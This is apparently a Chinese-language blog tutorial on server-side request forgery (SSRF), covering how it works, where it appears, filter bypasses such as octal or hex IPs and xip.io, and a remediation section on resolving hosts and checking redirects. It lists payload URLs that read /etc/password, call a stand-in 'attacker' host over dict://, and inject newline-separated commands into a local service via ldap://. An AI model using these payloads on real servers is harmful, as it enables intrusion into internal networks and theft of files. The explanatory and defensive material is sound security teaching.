SSRF漏洞原理是什么?利用时有哪些伪协议?

漏洞原理

利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

ssrf用处

探测内网信息,用协议探ftp%26ip={ip}%26port={port}

攻击内网或本地其他服务

穿透防火墙

漏洞处

能够对外发起网络请求的地方

请求远程服务器资源的地方

数据库内置功能

邮件系统

文件处理

在线处理工具

举几个例子:

在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。

根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。

数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。

邮件系统就是接收邮件服务器地址这些地方。

文件就找ImageMagick,xml这些。

从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。

绕过姿势

http://[email protected]

利用IP地址的省略写法绕过,[::]绕过localhost

DNS解析 http://127.0.0.1.xip.io/  可以指向任意ip的域名:xip.io

利用八进制IP地址绕过,利用十六进制IP地址,绕过利用十进制的IP地址绕过

利用协议

https://www.secpulse.com/archives/70471.html

接受ua为curl的时候,支持的协议有

使用curl -v http://xx.com/ssrf.php?url=sxxx

file://

ssrf.php?url=file:///etc/password

Dict://

dict://@:/d:

ssrf.php?url=dict://attacker:11111/

SFTP://

ssrf.php?url=sftp://example.com:11111/

TFTP://

ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET

LDAP://

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

漏洞修复

https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

检查是否为内网IP地址绕过方法:  利用八进制IP地址绕过  利用十六进制IP地址绕过  利用十进制的IP地址绕过  利用IP地址的省略写法绕过最好的做法:IP地址转换为整数再进行判断

获取真正请求的host

如何正确的获取用户输入的URL的Host?最常见的就是,使用http://[email protected]:8080/、http://10.0.0.1#233.233.233.233这样的URL,让后端认为其Host是233.233.233.233,实际上请求的却是10.0.0.1。这种方法利用的是程序员对URL解析的错误,有很多程序员甚至会用正则去解析URL。使用urllib.parse可以解析真正的hostname

只要Host只要不是内网IP即可吗?host可能为ip,可能为域名,利用xip.io绕过。方法:判断是否为http协议,获取url的host,再解析该host,将解析到的ip再进行检查

只要Host指向的IP不是内网IP即可吗?不一定,可能会30x跳转

归纳解析目标URL,获取其Host解析Host,获取Host指向的IP地址检查IP地址是否为内网IP请求URL如果有跳转,拿出跳转URL,执行1

你可能感兴趣的:(SSRF漏洞原理是什么?利用时有哪些伪协议?)